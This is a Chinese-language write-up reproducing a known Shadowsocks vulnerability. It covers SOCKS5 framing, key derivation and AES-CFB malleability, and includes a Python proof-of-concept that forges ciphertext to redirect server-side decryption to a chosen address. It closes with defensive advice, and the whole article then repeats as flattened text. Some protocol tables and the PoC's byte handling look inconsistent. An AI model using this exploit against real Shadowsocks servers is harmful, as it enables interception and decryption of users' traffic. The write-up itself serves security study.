Shadowsocks漏洞复现
字数 1402 2025-08-04 00:38:21

Shadowsocks漏洞复现与分析

1. SOCKS5协议基础

1.1 SOCKS5协议概述

SOCKS5是一种网络协议,支持TCP和UDP传输,常用于客户端和外部网络服务器之间的中间传输。

1.2 SOCKS5协议流程分析

1.2.1 客户端第一次请求与服务端第一次回复

客户端请求格式:

VER | NMETHODS | METHODS
0x05 | 1 | 1 TO 255

服务端回复格式:

VER | METHOD
0x05 | 1
  • VER=0x05表示SOCKS5版本
  • METHOD取值:
    • 0x00:无需认证
    • 0x02:需要用户名/密码认证
    • 0xFF:无可接受方法

1.2.2 客户端第二次请求与服务端第二次回复

客户端请求格式:

VER | REP | PSV | ATYP | BND.ADDR | BND.PORT
0x05 | 1 | 0x00 | 1 | Variable | 2
  • VER=0x05表示版本
  • REP=0x00表示连接成功
  • RSV=0x00保留字段
  • ATYP地址类型:
    • 0x01:IPv4
    • 0x03:域名
    • 0x04:IPv6

1.2.3 完整连接流程

  1. TCP三次握手
  2. 客户端请求连接
  3. 服务端返回0x05 0x00表示可以建立连接
  4. 客户端发送0x05 0x01 0x00 + 地址类型 + 目的地址 + 目的端口
  5. 服务端返回自身地址和端口

2. Shadowsocks架构分析

2.1 工作方式

user request <--> sslocal <--> ssserver <--> destination
  • 原始流量:A <--> B
  • 代理后流量:A <--> C <--encrypted--> D <--> B

2.2 主要模块

  • tcprelay.py:TCP代理实现
  • udprelay.py:UDP代理实现
  • asyncdns.py:异步DNS查询
  • crypto:加密依赖
  • cryptor.py:加密接口
  • daemon.py:守护进程
  • shell.py:读取命令行参数和配置
  • local.py:客户端入口
  • server.py:服务器入口

3. 加密机制分析

3.1 密钥生成

Shadowsocks使用EVP_BytesToKey方式生成密钥:

def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]
    return key, iv

3.2 加密流程

  1. 使用password作为种子
  2. 根据key长度不断进行MD5哈希
  3. 最终生成真正的key和iv

3.3 数据结构

rand_iv + AES-cfb(key, rand_iv, data)
  • IV直接放在数据开头
  • 完全依赖password生成的key保证安全

4. AES-CFB模式分析

4.1 基本原理

与AES-CBC相反:

  1. 首先进行AES加密
  2. 然后与前一组异或

CFB模式加密解密过程相同,因为最后一步都是异或操作。

4.2 伪造攻击原理

在已知明文(pt)、密文(ct)且拥有解密权限的情况下可以控制明文:

  1. 对于第一组密文,对IV进行AES加密得到K
  2. 已知关系:ct = pt xor K
  3. 可推导出:K = ct xor pt
  4. 要伪造pt',可计算:ct' = pt' xor K

5. 漏洞复现

5.1 环境配置

config.json配置示例:

{
    "server":"127.0.0.1",
    "local_port":20001,
    "server_port":20002,
    "password":"happi0",
    "timeout":60,
    "method":"aes-256-cfb",
    "local_address":"127.0.0.1",
    "fast_open":false
}

5.2 攻击步骤

  1. 截取密文
  2. 利用HTTP协议已知明文特征(如"HTTP/1.")
  3. 计算K = ct xor pt
  4. 构造目标地址pt'(如10.19.4.171:7777)
  5. 计算伪造密文ct' = pt' xor K
  6. 发送伪造的密文到服务器

5.3 PoC代码示例

import socket
import binascii
from Crypto.Util.number import long_to_bytes as lb

c = binascii.unhexlify("212aba32327c579d239a405770677e2ab1ca6f8288b9e59253917216b2034638c622293608b3a1dd843c71cf1fa704b95ee662c65fb14e1fca078643c6efb4f280a447d0493385dbbdf837f98e8b211749e1a738632b18fa2f1bb6a6ab83bb4c96035c611b79e1f36c2155493ddb8e4dc04c84297966959c4a4202c0bf51b1d0dbec1323b10bee1a4e3e3c58e3b8ee7796fdcaad638230fcf09f172e26271e2f0317481bde2cb1580f117a580908fb2ccac2d51a45a2976b56d41f6cca2227b17d76ddeb13390b8ddd3a7d92edada68a542b732c181ce43211e265")

def xor(a, b):
    return bytes(x^y for x,y in zip(a,b))

plain = b"HTTP/1."
target = b"\x01" + lb(10) + lb(19) + lb(4) + lb(171) + lb(7777)
z = xor(plain, target)
new_c = c[:16] + xor(z, c[16:16+7]) + b"\x00"*(16-7) + c

s = socket.socket()
s.connect(("127.0.0.1", 20002))
s.send(new_c)

6. 防御建议

  1. 使用AEAD加密模式(如AES-GCM)替代CFB模式
  2. 增加消息认证码(MAC)校验
  3. 使用更安全的密钥派生函数替代EVP_BytesToKey
  4. 定期更换密码
  5. 限制可访问的IP范围

7. 参考资料

  1. SOCKS5协议RFC 1928中文文档
  2. Shadowsocks源码分析
  3. AES-CFB模式攻击方法研究
  4. 360安全研究员关于此漏洞的原始报告
Shadowsocks漏洞复现与分析 1. SOCKS5协议基础 1.1 SOCKS5协议概述 SOCKS5是一种网络协议,支持TCP和UDP传输,常用于客户端和外部网络服务器之间的中间传输。 1.2 SOCKS5协议流程分析 1.2.1 客户端第一次请求与服务端第一次回复 客户端请求格式: 服务端回复格式: VER=0x05表示SOCKS5版本 METHOD取值: 0x00:无需认证 0x02:需要用户名/密码认证 0xFF:无可接受方法 1.2.2 客户端第二次请求与服务端第二次回复 客户端请求格式: VER=0x05表示版本 REP=0x00表示连接成功 RSV=0x00保留字段 ATYP地址类型: 0x01:IPv4 0x03:域名 0x04:IPv6 1.2.3 完整连接流程 TCP三次握手 客户端请求连接 服务端返回0x05 0x00表示可以建立连接 客户端发送0x05 0x01 0x00 + 地址类型 + 目的地址 + 目的端口 服务端返回自身地址和端口 2. Shadowsocks架构分析 2.1 工作方式 原始流量:A <--> B 代理后流量:A <--> C <--encrypted--> D <--> B 2.2 主要模块 tcprelay.py:TCP代理实现 udprelay.py:UDP代理实现 asyncdns.py:异步DNS查询 crypto:加密依赖 cryptor.py:加密接口 daemon.py:守护进程 shell.py:读取命令行参数和配置 local.py:客户端入口 server.py:服务器入口 3. 加密机制分析 3.1 密钥生成 Shadowsocks使用EVP_ BytesToKey方式生成密钥: 3.2 加密流程 使用password作为种子 根据key长度不断进行MD5哈希 最终生成真正的key和iv 3.3 数据结构 IV直接放在数据开头 完全依赖password生成的key保证安全 4. AES-CFB模式分析 4.1 基本原理 与AES-CBC相反: 首先进行AES加密 然后与前一组异或 CFB模式加密解密过程相同,因为最后一步都是异或操作。 4.2 伪造攻击原理 在已知明文(pt)、密文(ct)且拥有解密权限的情况下可以控制明文: 对于第一组密文,对IV进行AES加密得到K 已知关系:ct = pt xor K 可推导出:K = ct xor pt 要伪造pt',可计算:ct' = pt' xor K 5. 漏洞复现 5.1 环境配置 config.json配置示例: 5.2 攻击步骤 截取密文 利用HTTP协议已知明文特征(如"HTTP/1.") 计算K = ct xor pt 构造目标地址pt'(如10.19.4.171:7777) 计算伪造密文ct' = pt' xor K 发送伪造的密文到服务器 5.3 PoC代码示例 6. 防御建议 使用AEAD加密模式(如AES-GCM)替代CFB模式 增加消息认证码(MAC)校验 使用更安全的密钥派生函数替代EVP_ BytesToKey 定期更换密码 限制可访问的IP范围 7. 参考资料 SOCKS5协议RFC 1928中文文档 Shadowsocks源码分析 AES-CFB模式攻击方法研究 360安全研究员关于此漏洞的原始报告